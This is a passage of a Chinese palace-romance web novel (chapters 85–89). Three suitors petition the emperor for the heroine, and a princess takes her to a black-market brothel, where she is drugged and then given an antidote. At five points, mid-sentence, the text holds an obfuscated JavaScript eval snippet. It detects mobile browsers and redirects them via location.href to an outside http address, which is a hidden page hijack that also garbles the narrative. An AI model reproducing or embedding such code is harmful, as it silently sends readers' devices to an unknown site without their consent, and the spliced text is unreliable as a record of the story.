听到这里，源井桃松了一口气，还好，七日后她身上的伤口该愈合了，只要她稍加留意，应该不会暴露。 不过还是不能粗心大意。 “那好吧，我跟你走一趟。” 沈晚眠跟着通尘来到前门。 阿烟见到沈晚眠，赶紧冲她挥挥手。 “小姐，是我，阿烟。” 沈晚眠尴尬笑笑，她还能认不出她？ “那个……烟啊……实在抱歉，让你白跑一趟，方丈下令闭门七日，实在不能让你进来……” 阿烟有些失落，比起别的任务，她还是更喜欢和沈二小姐在一起。 如今她进不去，只能打道回府。 不过没关系，她可以七日后再来。 “那好吧，小姐，你一个人小心点。” 阿烟一步三回头，身影逐渐消失在黑夜之中。 七日很快就过去，阿烟又回到元音寺门外。 可她刚到不久，还没来得及说话，又来了一位找沈晚眠的人。 厢房里，沈晚眠坐在中间。 左边坐着阿烟，右边坐着李言初。 她怎么都想不到，她们三人还能坐在同一张桌子上。 “嗯……表兄，你是来…看我的？” 李言初微微一笑。 “我受蒙国王女之托，特来接你回宫。” 呼延婷？她找自己干什么？还寻到了她表兄。 “啊？她让我进宫？” “对，陛下为王女和四皇子赐了婚，依照蒙国的习俗，新妇过门前要和自己亲密的家人朋友同吃同住三日。” 第85章 争抢 “王女说你是她在京中最好的朋友，她希望你能去陪着她。” 这也太快了吧，她才离开京城几日，呼延婷就将裴卿尘拿下了。 果然是草原上长大的女娘。 阿烟都要气**。 好不容易等到元音寺开门，人又被半路劫走。 等到了宫里，她就没办法跟着小姐了。 “好，我这就收拾东西。” 反正她的事办完了，春桃的伤也基本愈合，可以下地走路。 是时候回去了。 不过恐怕这次回去也待不了多久。 她现在调整了策略，她的事情可以先放一放。 母亲的事，她不想再拖了。 阿烟嫌马车太慢，自己骑马回去了。 沈晚眠和李言初坐在第一辆马车里。 吉祥与春桃紧随其后，坐在后面的马车。 这几日沈晚眠还是没能从春桃嘴里撬出东西。 她又像前世一般，给她取名为春桃。 “昭昭，你可还记得，咱们的约定。” 李言初脸上泛起可疑的红晕。 他有些不好意思，上次他修书给家里。 祖母对他们的事很是意外，但还是同意了二人的婚事。 翰林院与其他部署不同，再过几日今**情就全忙完了。 他便可以归家。 他想着这次带昭昭回去多住些时日。 熟悉熟悉江南的生活。 等到来年开春，二人便完婚。 沈晚眠在想她母亲的事，并没注意李言初的不对劲。 “记得，不过表兄，我恐怕不能先跟你回李家。” 李言初疑惑道：“为何？” 沈晚眠思索一番，最终决定还是不要让表兄知道为好。 “我有点别的事，得先办完我的事，再去拜访外祖母。” 李言初没有多问，他知道表妹的主意多。 “好，需要帮忙吗？” “不用了，我自己能办妥。” 马车行驶到京城。 沈晚眠想到春桃这个身上有伤的外来人员，恐怕不好入宫。 “表兄，我能拜托你一件事吗？” 李言初不假思索道：“你的事就是我的事，你我之间何须客套。” “春桃身上的伤还没好，入宫多有不便，我想让她在你那里住些日子。” “好，不过昭昭，此人你是如何识得的？” 他记得之前表妹身边只有一个吉祥，现在突然冒出来个受着伤的陌生人。 而且看昭昭的态度，似乎对她很是信任。 他怕昭昭会被有心人欺骗，不免多问了一句。 沈晚眠知道春桃的出现对表兄来说十分可疑。 但她没办法和他解释。 “她的身世有些复杂，一时半会解释不清，总之表兄放心，她绝对不会伤害我。” 李言初微微颔首。 既然昭昭都这样说了，她应该心中有数。 虽然他还是不太放心，但没关系，毕竟她马上就和昭昭分开了。 到了皇宫，李言初并未离开，而是和她一起进了宫。 沈晚眠有些疑惑道：“表兄，你这是？” 李言初笑了，他的笑容里还夹杂着意味不明的宠溺。 “自然是将你我之事禀告圣上。” 不就回趟家，怎么还要跟皇帝打报告？ 沈晚眠尴尬又不失礼貌道：“哦，哈哈，那表兄去吧，我去找呼延婷。” “你真的以为，叫你回来，是蒙国王女的主意？” 李言初伸手将她拦下。 昭昭一向聪明，怎么此刻犯了糊涂。 沈晚眠愣了一瞬，随即反应过来。 她的表情略带不可置信。 “是萧贵妃！” 毕竟让她走的是萧贵妃，呼延婷再怎么无法无天，也不敢忤逆如今的后宫之主。 李言初眉眼弯弯，手指轻轻点了一下她的脑袋。 “还不快去谢恩。” 想不到萧贵妃竟这么快就原谅了自己。 其实她除了有些跋扈，对信任之人还是很好的。 想到这里，沈晚眠有些惭愧。 她一直在利用对方，没想对方却对自己动了真心。 不过很快她就将自己说服。 她的确目的不纯，但她又没坏心思。 不过是各取所需。 不过离开短短几日，再回到永和宫，她竟有些惆怅之感。 沈晚眠站在门口，吐出一口气。 随后她调理好状态，面带微笑的缓步踏入永和宫。 “贵妃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16185036|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘娘金安，臣女回来了。” 萧贵妃难得不靠在榻上。 此刻她坐在桌前，微微蹙着眉，正对着一盘残局发愁。 “过来，陪本宫手谈一局。” 沈晚眠轻声应下，坐在萧贵妃对面与她对弈。 …… 御书房里，接连响起两道震惊的声音。 “什么！你要和沈晚眠成亲！？” “李学士，圣上面前切莫胡言！” 李言初恭敬跪下。 “陛下，臣与表妹情投意合，且臣早已与家中言明，臣所言句句属实。” 李言初义正言辞，一副信誓旦旦的模样。 皇帝没说话，默默观察两个儿子的反应。 裴宴一张脸上满是怒色，他的双目紧紧瞪着李言初。 似乎是想从他脸上找到心虚的证据。 沈晚眠！很好！ 先是与老七暧昧不清，现在又多了个即将成婚的表兄。 她四处留情，却将自己拒之千里。 在她心里，他就这么不堪吗？ 与裴宴相比，裴行止看起来冷静多了。 但他暴起青筋的拳头，还是暴露了他的内心。 这是怎么回事？ 难道这也是她计划的一部分？ 皇帝将二人的反应尽收眼底。 这个沈晚眠，本事真不小。 一位是风头正盛的新科状元，一位是他最为器重的太子。 还有刚立下赫赫战功，弱冠之年就已封王的皇子。 竟都为她折腰。 不过也好，有李言初在，他便可将这“抢手”的山芋赐给他。 省的日后为了一介女娘，发生兄弟阋墙的丑闻。 “好！你们二人一看便是天作之合，朕便依你……” 皇帝的鸳鸯谱还没点完，便被裴宴打断。 “父皇，儿臣心悦沈晚眠已久，既然父皇可以成全四兄，那也成全儿臣吧！” 裴宴跪在皇帝面前，言辞十分恳切。 他知道，天子一言九鼎，若父皇真的为李言初赐了婚，他便再无机会。 皇帝皱起眉头，刚要训斥裴宴，裴行止也跟着跪下。 “父皇，沈二小姐与儿臣才是真正的情投意合，我不知李学士为何要说谎，但儿臣此生，非她不娶！” 第86章 营救 皇帝的脸色愈发难看，他猛地一拍龙椅。 “放肆！沈氏女何德何能，引得你们三人丝毫不顾礼义廉耻，在朕面前争抢。” 皇帝越说越激动，最后直接吼了出来。 “这里是御书房，是朕处理国家大事的地方，不是你们求娶女娘的地方！” 为了一个沈晚眠，一个两个连脸面都不顾了。 这要是传出去，不得被天下人耻笑。 前些日子六公主与九公主争抢探花郎的事才刚刚平息。 若是再传出太子与宸王公然同新科状元抢娶沈家女。 皇室的脸面往哪搁？ “此事谁都不许再提，都退下！” 三人谁都没动，看样子势必要在今日争个高下，脸上的表情一个比一个严肃。 皇帝看到三人如出一辙的表情，气的头都要炸了。 他忍不住扶额道：“朕的话你们是没听到吗？还不快退下！” 三人还是不动，皇帝只恨当初自己为何要生这么多不孝儿女。 “若是再不退下，朕就随便为沈家女娘指一门亲事。” 听到皇帝这样说，三人才依依不舍的离去。 望着他们的背影，偌大的御书房只剩一声绵长的叹息。 家门不幸啊…… 萧贵妃对着眼前的阵局举棋不定。 她试探性的将拿着棋子手移到一处，而后偷偷斜睨沈晚眠一眼，观察她的脸色。 察觉到她的目光，沈晚眠眸光微动，故意露出欣喜之色。 萧贵妃立马转变方向，下到另外一处。 沈晚眠故作失落，随后对着棋盘“思索”起来。 人家都不计前嫌让她回来了，她不得给人提供点情绪价值。 “娘娘，大事不好，不好了……” 慧心匆匆赶来，嘴里还喘着粗气。 萧贵妃刚提起兴致，便被人打扰，此刻她很是不悦。 “慌慌张张成何体统，发生什么事了？” 慧心也跟了她三十余年了，到底是何事才能让她如此惊慌失措。 “李学士，他……他要娶沈二小姐。” 这话说的没头没尾，对弈的二人皆是一惊。 尤其是沈晚眠。 她猛地从位置上站起，眼中满是不可思议。 表兄要娶她？！什么时候的事？ 慧心怎么会知道？ 而且他不是已经有喜欢的女娘了吗？ 又为何……等等！莫非上一世，表兄口中的心悦之人，就是自己！ 不对不对，上一世表兄是三年后才入的京。 想到这，沈晚眠不由得暗暗怪自己。 都怪自己大意，一直觉得表兄早已心有所属，才没往这方面想。 看来那日在翰林院，表兄说的话，就是这个意思。 当时她是怎么回答的来着？ 反正不管怎么样，他一定误解了自己的意思，要不然也不会出今日的事。 不过慧心都知道了，裴行止那里，她该怎么交代…… “你好好说，到底发生什么了。” 萧贵妃眉头紧锁，言语间尽是不解。 慧心已经顺过气，冷静下来后，她语气夸张道。 “李学士，他跟圣上说。明年春日要和沈二小姐完婚。” 萧贵妃眉头皱的更深。 手中的棋子也被她随意丢在桌上。 不是裴行止吗？何时又蹦出个李言初？ 慧心喘了一口气，继续道：“对了，太子殿下也在，他说他也心悦沈二小姐，也向圣上提出求娶。” 讲完后，慧心小心翼翼的看了眼萧贵妃，又有些难为情的看了眼沈晚眠。 毕竟当着她本人的面讲她的八卦，的确不太好。 沈晚眠脸色一瞬间苍白，随后心如死灰的看向萧贵妃。 这下真的将萧贵妃得罪完了。 该死的裴宴，他怎么这么多话！ 不是说这辈子都不娶她吗，现在又是做什么？！ 萧贵妃没说话，但有的时候，沉默比发火更可怕。 看到自家娘娘的脸色，慧心欲言又止，剩下的话她好像说也不是，不说也不是。 她张了张嘴，最终还是说出口。 “还有……” “你说话能不能不要大喘气！” 萧贵妃忍不住怒吼道。 她这一声，吓的慧心赶紧跪在地上瑟瑟发抖，不敢继续讲后面的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16185037|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “起来吧，剩下的，一并说完。” 意识到自己的失态，萧贵妃轻咳一声。 慧心又连忙从地上爬起，一骨碌将憋在心底的话都讲了出来。 “还有宸王殿下，他说他也喜欢沈二小姐，还说他们才是真正的情投意合，此生非她不娶，但是陛下谁都没有答应，只将他们都赶出御书房。” 慧心说完后，脑袋都要耷拉到地面，她实在不敢看此刻萧贵妃的表情。 站在一旁的沈晚眠，整个人都僵住了。 她刚才听到了什么！ 三个男人，同时向陛下求娶她。 哈哈哈，这个世界，疯了吗？！ “沈晚眠！原来你在这，可让我好找。” 呼延婷忽然从门外闯入，她一进门就将沈晚眠拉到自己身后。 仿佛害怕萧贵妃要吃了她。 “贵妃娘娘，请恕阿婷无礼，我有十万火急的事要找沈二小姐，人我就先带走了哈。” 不等萧贵妃做出回应，沈晚眠就已经被呼延婷拉着走了二里地。 二人只留下仓皇逃窜的背影。 萧贵妃心里复杂极了，她早就看出自己儿子对沈晚眠有意。 也知晓沈晚眠与裴行止的事。 但和沈晚眠相处的这些日子，她也是真心喜欢这个有些狡猾，但心灵手巧的小女娘。 不过这事现在闹成这样。 她真不知是该气，还是该笑。 呼延婷生怕下一秒萧贵妃就会带人追杀上来。 她一刻都不敢停，拉着沈晚眠直奔她的接待馆。 “呼呼呼，我是不是，又救了你一次。” 呼延婷喘着粗气，依然能听出语气中的得意。 沈晚眠扶着双膝，喉咙里的血腥味呛的她直咳嗽。 她受不住，一屁股坐在地上，缓了好久。 随后才断断续续道：“是，多谢…咳咳…王女……” 呼延婷将她扶到床上，然后不知想到什么，忽然哈哈大笑起来。 “这几日京城里都在传我的风言风语，说我一介女娘，竟然上赶着求皇帝赐婚，说我不矜持，不守女德，更有甚者，还说我已有身孕，想赶紧找个人接盘。” 第87章 狗洞 “现在好了，你这位“红颜祸水”被三位国之栋梁抢着娶的事一传出去，有人和我一起挨骂了。” 听了她的话，沈晚眠也忍不住笑起来。 是啊，两个“传奇人物”凑到一起了。 “你和四殿下，什么时候完婚？” 呼延婷思考了一会。 “嗯…本来钦天监算的好日子是三日后，现在改成七日后吧。” “啊？为何？” 呼延婷忽然笑的很狡猾，她捏了捏沈晚眠的脸。 笑着开口道：“当然是因为你，等你的“伟迹”风头过了，我才能安心让你陪我出嫁。” 这也太随便了吧！ 这种事是她说变就能变的吗？ “这不过是你临时起意，四殿下和陛下，会同意吗？还有七日后未必宜嫁娶，你别意气用事。” 还有宣妃，她的未来婆母。 原本就不喜欢她，她这么一闹，怕是二人更不好相处。 呼延婷已经来到书桌前，向四皇子写信言明。 “什么黄道吉日，都是骗人的，陛下宅心仁厚，会同意的，至于他嘛，只要我高兴，他是不会说什么的。” 呼延婷的话再次颠覆沈晚眠对她的认知。 先前她觉得呼延婷对她说的那番话，不过是在安慰自己。 如今看来，她是真的在凭心而动。 夜里，沈晚眠翻来覆去怎么都睡不着。 或许是离开元音寺的缘故，又或许是今日发生的事太离谱。 白天时，那三位都来找过她。 全都被呼延婷拒之门外。 还将他们数落了一顿。 说他们做事不计后果，全凭一腔冲动。 她躲在门后，听着他们的反应。 越听，心里越烦躁。 从重生到现在，她不是一直在复仇吗？ 到底是怎么惹上这三位的。 裴行止她还能理解。 毕竟是她挑拨在先。 裴宴呢？ 上一世自己**他都漠不关心，甚至隔日便迎娶沈书玉。 他到底为何又对自己来了兴趣。 还有表兄…… 难道是自己对他太热切，叫他误会了自己的心意？ 唉，算了，事已至此，多想无益，她还是好好想想该如何应对吧。 想着想着，呼延婷突然敲响了她的房门。 “昭昭，你睡了吗？” 她该不会是想…… 不行，她宁愿自己睡不着，也不要和呼延婷一起睡。 万一她突然又起了什么坏主意，拉着自己做什么出格的事。 她可再也经不起折腾了。 沈晚眠决定装睡，直接不理她。 哪知呼延婷越叫越起劲，拍门声也越来越大。 声音大的她都怕招来侍卫。 最后她实在没办法，只能起身去给她开门。 被无视了这么久，呼延婷丝毫没有恼意，她的眼睛在月光的照耀下格外明亮。 “太好了，你也没睡。” ……她要不要听听自己在讲什么！ “走，我带你去个好玩的地方。” 呼延婷无视她的挣扎，直接将她拉出房门。 黑夜里，宫墙的上方探出两颗毛茸茸的脑袋。 沈晚眠压低声音道：“你要去哪？” 呼延婷故作神秘：“别急啊，待会你就知道了。” 她能不急吗，再不急自己就要臭名昭著。 “就是现在，快走！” 趁着侍卫换岗，呼延婷拉着沈晚眠迅速穿过大道。 随后她带着沈晚眠绕了好久，才在一处荒芜的草丛间停下。 呼延婷左右看看，确定没人后，才扒开草丛。 被她拨开的地方漏出一个狗洞。 沈晚眠有些诧异的看向她。 皇宫戒备如此森严，她是怎么找到的？ “愣着干什么，快去啊。” 在呼延婷的催促下，沈晚眠只得先将震惊咽下。 二人爬出过狗洞后，呼延婷展开双臂，深吸一口气，陶醉道：“是自由的味道。” “你是怎么找到这里的？” 刚才她看了，这里的泥土很新，墙上的石屑也很新，难道是…… “本人忙活了将近半月，才终于打造了此宝地，你说，我是不是很厉害。” 皇宫都能被她凿穿，不怪外界那样传她。 此人真乃神人也。 呼延婷不知从哪里掏出两套男款衣服，她拿起其中一套递给沈晚眠。 “这等良辰美景，岂能辜负，换上吧，让我带你好好放松放松。” 人都已经出来了，沈晚眠心一横，荒唐就荒唐吧。 她这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16191087|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一世做的荒唐事，已经够多了，不差这一件。 …… 看着眼前的场景，饶是活了两辈子的沈晚眠，也是傻了眼。 她想过呼延婷荒唐，但没想到她这么荒唐。 “你确定我们要进去？” 呼延婷不假思索道：“当然，我计划了好久，你就放心吧，不会出事的。” 她怎么敢放心。 这里可是黑市！ 原以为她顶多去逛逛夜市，再不济也是青楼。 谁知她竟然敢带着她勇闯黑市！ “等等，就算你想进，也进不去吧。” 黑市里面实在是太黑。 为了防止有心人故意砸场子。 她记得黑市明确规定。 必须要有引牌才可进入。 她一个都没逛过京城的外地人，去哪整引牌？ “哎呦你就放心吧，我早就打点好了。” 她强拉着沈晚眠来到入口。 门口的打手见到陌生面孔。 立马警觉起来。 “站住，你们是干什么的？” 二人凶神恶煞，一看就不是好惹的。 呼延婷拍拍她的手，示意她放心。 随后她上前跟其中一位打手耳语几句。 打手听完后脸色立马缓和。 语气都变得恭敬起来。 “小人有眼不识泰山，二位快快请进。” 沈晚眠目瞪口呆的被“请”进黑市。 这位王女，也太神通广大了吧！ 怎么连黑市她都有门路。 “你怎么做到的？” 她要是没记错，呼延婷是第一次来京城没错吧。 她是一直住在宫里没错吧。 呼延婷挑了挑眉：“不告诉你。” 狭窄的街道两旁，摆满了琳琅满目的摊位。 有散发着幽光的古玩玉器，还有锈迹斑斑的陈旧兵器。 小贩们脸上挂着讨好又狡猾的笑容。 打量着路过的行人。 呼延婷很快被飘来的香味所吸引。 她拉着沈晚眠，来到一处果子铺。 “二位客官，想来点什么？” 店家笑盈盈的迎上，呼延婷顾不上店家的介绍。 直接开始“指点江山”。 “这个，这个，还有这个，都不要。” 第88章 红楼 店家脸色微变，刚要赶人，呼延婷又发话了。 “其余的，每样给我来一份。” 店家的表情多云转晴，眼睛都要眯成一条缝。 “得嘞。” 沈晚眠强颜欢笑的咬牙切齿道：“我的大小姐，你要这么多，吃的完吗？” 呼延婷大手一挥。 “吃不完带回去。” 她以为这是在逛街吗，吃不完还打包带走。 偷偷出宫这种事已经够危险了，还私带黑市的东西进宫。 是嫌活的时间太长了吗。 “你疯了吗，还想将黑市的东西带回去，万一被发现了，咱们就真“吃不了兜着走”了！” 呼延婷拍拍她的肩膀：“放心啦，没事的。” 沈晚眠恨不得现在就回去睡觉。 在房间里焦虑的睡不着，总比在牢狱中被老鼠啃强。 呼延婷尝了几口，便把剩余的打包起来扔给沈晚眠，然后继续往前逛。 黑市前面大多都是些摆黑摊的。 再往里就是买吃喝的。 黑市最深处。 便是最危险，也是最核心处。 嫖和赌。 呼延婷兴致冲冲的拉着沈晚眠来到红楼前。 几个穿的特别“凉快”的女娘，扭着腰肢娇笑着将二人团团围住。 “二位公子好生俊俏，快进来玩啊。” 扑面而来的胭脂味，熏的沈晚眠连打好几个喷嚏。 她实在承受不住这群女娘的热情。 被逼的连连后退。 与沈晚眠相比，呼延婷便显得自在多了。 以前在蒙国，她经常干这种事。 倒不是喜欢青楼里的姑娘，只是不知为何，每家青楼的水果，点心和酒水。 都好吃的不像话。 如今到了京城，她必须得来尝尝京城最负盛名的红楼，到底怎么样。 “昭兄，你怎么回事，此等美娇娘在侧，你怎么还满脸不高兴。” 呼延婷坏笑着打趣道。 “为本公子寻一处上好的雅间，带路的重重有赏。” 话毕，女娘们全都欢呼着围上呼延婷。、 一群人扬长而去，空气瞬间清静不少。 沈晚眠终于可以偷偷喘口气。 可还有一位女娘，怯生生的站在原地，眼睛水汪汪的看着她。 来这里讨生活，有几个容易的。 沈晚眠叹了口气，走到她身边。 “烦请姑娘为我引路。” 那女娘眼睛亮了亮，一副受宠若惊的模样。 “公子客气了，请随奴家来。” 二人穿过大厅，来到二楼雅间。 呼延婷坐在软榻上，吃的不亦乐乎，身边还有几位女娘为她捏肩捶腿。 “沈兄怎么才上来，快过来尝尝，这水果可新鲜了。” 合着她来红楼，就是为了吃水果？！ 沈晚眠被她气的不知该说什么好。 “吃吃吃，你就知道吃。” 她气冲冲的坐到她对面。 随后拿起一颗葡萄，狠狠咬了下去。 “那不然呢，沈兄还想做点别的不成？” 呼延婷意味深长的看向她身边的女娘。 她的话引得女娘们一阵哄笑。 阿月对上呼延婷的视线，害怕的直往沈晚眠身后躲。 “公子，您就别打趣阿月了，她啊，最是“专一”不过。” 呼延婷看了一眼说话的女娘，瞬间便领会了她的意思。 风月之地，大家都有几分姿色，想凭容貌出众，简直难如登天。 只有两种人赚的最多。 一种是拥有绝世容颜的头牌。 另一种，则是靠自己的小心思，凭借自己独树一帜的人设，来博得恩客的怜惜。 不过第二种只适合长得分外清纯，且会揣测人心的人。 阿月便是第二种。 呼延婷也算“混迹情场”多年，阿月的小心思，她一眼就看穿了。 不过就是看沈晚眠衣冠楚楚，还克己守礼。 以为她是哪家的贵公子，想从她身上大捞一笔。 “突然想如厕，昭兄陪我同去可好。” 阿月紧张的拉了拉沈晚眠的衣袖。 似在无声挽留她。 沈晚眠也是无语。 早知如此她就不来了。 现在好了，还被缠上了。 但她还是很有礼貌的安抚了阿月。 呼延婷将她带到无人处，低声告诫她。 “那个阿月不简单，你别着了她的道。” 沈晚眠点点头。 虽说都是女娘，她也不能对自己做什么。 可若一不小心暴露了她女娘的身份，那就麻烦了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16191088|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我知道，你吃完咱们就离开吧。” 总不能一直在这待着吧。 沈晚眠刚要走，却在转头的瞬间，瞳孔紧缩。 那是……裴卿尘！ 他怎么在这！？ 察觉到沈晚眠的异样，呼延婷顺着她的目光看去。 也看到了包厢中与人谈笑风生的裴卿尘。 沈晚眠小心翼翼的观察她的表情。 待会呼延婷要是冲进去。 自己是趁乱躲起来，还是跟着她一起上？ 她等了半天，都没见呼延婷的表情有一丝崩裂。 “走吧，回去吧。” 呼延婷神色淡淡道。 “你不生气吗？” 沈晚眠试探性开口。 依照她的性格，不应该冲进去扇裴卿尘几巴掌，然后和他解除婚约吗？ 呼延婷一脸无所谓。 “不生气啊，这不是很正常。” 之前她在蒙国，也养过男宠，再者说她此刻不也在逛花楼。 要不是大齐民风不行，再加上她身份特殊。 她都想去逛男娼馆。 呼延婷的话再次颠覆了沈晚眠对她的认知。 瞧她无所谓的态度，难道说…… 这就是被权利养大的孩子吗？ 这活的的太爽了吧！ 二人往回走的路上，沈晚眠不由得多往裴卿尘的包间瞅了两眼。 里面好像不止他一个男人，还有几个商人打扮的中年男子。 裴卿尘坐在最中心，与其他几人侃侃而谈。 莫非她想错了，他只是在谈生意？ 等等！那个坐在最末位昏昏欲睡的那位。 不正是她多日未见的四兄，沈怀瑾吗！ 他怎么也在这？ “别看了，快走吧，别被发现了。” 呼延婷拉着她回到包厢，继续饮酒听曲。 沈晚眠光想着刚才的事，丝毫没有防备的喝下阿月递来的酒。 见沈晚眠一滴不漏的喝下那杯加了**的酒。 阿月忍不住勾起唇角。 无论他再怎么正人君子。 喝下这杯酒，就别想从她手上溜走。 沈晚眠放杯子的手一顿，忽然反应过来自己做了什么。 别慌，或许这杯酒没加东西。 她机械的别过脑袋，看向阿月。 第89章 清醒 对方触及到她的目光，羞涩的捂住脸，眼神却快要拉丝。 她轻轻褪去肩上的薄纱，勾引之意不言而喻。 看对方的样子，沈晚眠的心彻底**。 她突兀的直起身，直接往门外走去。 呼延婷无奈笑笑，这丫头，说她笨吧，她还知道吐了就没事了。 说她聪明吧，她才刚提醒完，她就中招了。 没事，吐出来就好了，这酒刚下肚，不打紧的。 她急匆匆往楼下跑，阿月却很快提着裙子追了上来。 “公子，你要去哪啊？” 阿月缠上她的胳膊，到嘴的肥羊，不能就这么飞了。 沈晚眠甩开她的胳膊，她刚才不是给过她银子了吗？ 非得到那一步才行是吗？ 她刚甩开阿月的胳膊，就感药劲快要上来了。 此刻她脑袋昏昏沉沉，浑身上下的血液都在沸腾。 好热，比那次过敏还热，那次只是热，痒。 而这次她还想扒衣服。 这个阿月到底给她下了多少药！ 把她当牲口使吗？ 真是一点不肯亏待自己。 裴行止原本在追查那日的刺客。 却在无意间，发现了西瀛卧底的据点。 他本想抓他们归案，却无意间探听出他们潜伏在大齐的人，还有很多。 他们分布在各个州郡，假扮成当地百姓。 只要一处暴露，其他几处会立马跑路，换新的据点。 为了一网打尽，他决定先按兵不动。 先将他们的脉络探查清楚，再一网打尽。 今日便是其中两处卧底会面的日子。 他们伪装成商人，来红楼谈生意。 听说裴卿尘最近四处敛财，为了把生意做的更大，与他们也有了往来。 只是不知他是否知道这几人真实面目。 为了掩人耳目，他便派沈怀瑾伪装成谈生意的商贩。 加入到这场聚会之中。 毕竟是未来大舅哥，他不放心他单独行动。 便隐在人群中为他打掩护。 没想竟然遇到穿着男装的沈晚眠，还与一女娘拉拉扯扯。 裴行止忍不住上前将二人分开。 裴宴和李言初他可以忍。 不知从哪里冒出的女娘又算怎么回事？ 沈晚眠意识都要模糊。 朦胧间她被一股熟悉的气息拉到身后。 好宽阔的肩膀，好劲瘦的腰身。 她下意识抱紧身前人的腰肢。 阿月面色一僵。 这人……竟然喜欢男子。 他……是断袖! 裴行止有些懵，虽然这里是青楼，但大庭广众之下。 两个男子打扮的人抱在一起，未免太引人注目。 为了不打草惊蛇，他也顾不得找阿月算账。 直接转身将沈晚眠打横抱起。 将她带到一处无人的房间。 沈晚眠被他轻轻放到床上。 房间内到处都是暧昧的粉色帐帘。 床前还燃着催情的合欢香。 裴行止意识到不对劲，赶紧将香熄灭。 但气味哪里能散这么快。 视觉和嗅觉上的双重刺激让沈晚眠体内的药性发挥的更快。 裴行止感觉到自己身体的变化。 不敢直视沈晚眠，红着脸背过身去。 “你听我说，我来这里是为了执行任务，并非你想的那样。” “你别生气好吗，我以后再也不来这种地方，不过你是怎么从宫里出来的，还有昨日……” 床上的人一直没有回应他，他还以为沈晚眠生气不想搭理他。 他刚回过身，眼前的画面惊的他又赶紧转过身。 “你……你………” 她怎么把衣服脱了！ 上一次在汤泉宫，他只见到她的肩膀，就做了好几日那样的梦。 刚才的画面比汤泉宫那次更香艳。 他又要…… “你快穿上衣服……” 沈晚眠已经完全听不进他在讲什么。 她脱完自己的衣服，又起身去脱他的衣服。 裴行止被她吓了一跳，随即赶紧按住她不安分的手。 “你干什么！” 她的状态不对，莫不是被人下了药？ 想到这里，裴行止表情变的严肃。 他也顾不得害羞。 从床上拽下被子就往沈晚眠身上裹。 “昭昭，你看着我的眼睛。” 沈晚眠被他裹成粽子，被他禁锢住手脚。 只能被迫与他直视。 “你坚持一会，我准备了药，吃了药就好了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16199751|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之前怕沈怀瑾被人下药，他特意为他备下解药，防止意外发生。 为了以防万一，他也为自己留了一颗，没想到会用到沈晚眠身上。 他松开抓着的被子，手忙脚乱的翻找那颗解药。 没了裴行止的禁锢，沈晚眠很快便“脱被”而出。 她伸出胳膊，也不知从哪来的力气，竟然将面前的人一把推到床上。 裴行止猝不及防的被她骑在身下。 他瞳孔地震，一颗心跳的飞快。 “药……对，快吃药，你都神志不清了。” 他刚拿出药，却被沈晚眠直接打到一边。 瞧着他的嘴一张一合，她没有别的念头，只想亲下去。 事实上她也这么做了。 手也没闲着，继续做刚才没完成的。 裴行止不敢轻易动她，怕会伤到她。 他摸索到那瓶药，用手指将药盖撬开。 随后搂住沈晚眠的腰身，将二人的位置调换。 他把药叼在嘴里，趁她还没反应过来，直接欺身撬开她的嘴。 为了防止她将药吐出。 裴行止堵了她好久。 直到药丸在她嘴里彻底化开。 他才离开。 沈晚眠被迫咽下苦药，呛的直咳嗽。 她的双手被裴行止抓着，人也被他压着。 过了许久，她脸上的绯红逐渐褪去，眼睛也逐渐回过神。 裴行止见状便放开了她的胳膊。 “清醒了吗？” “我很清醒。” 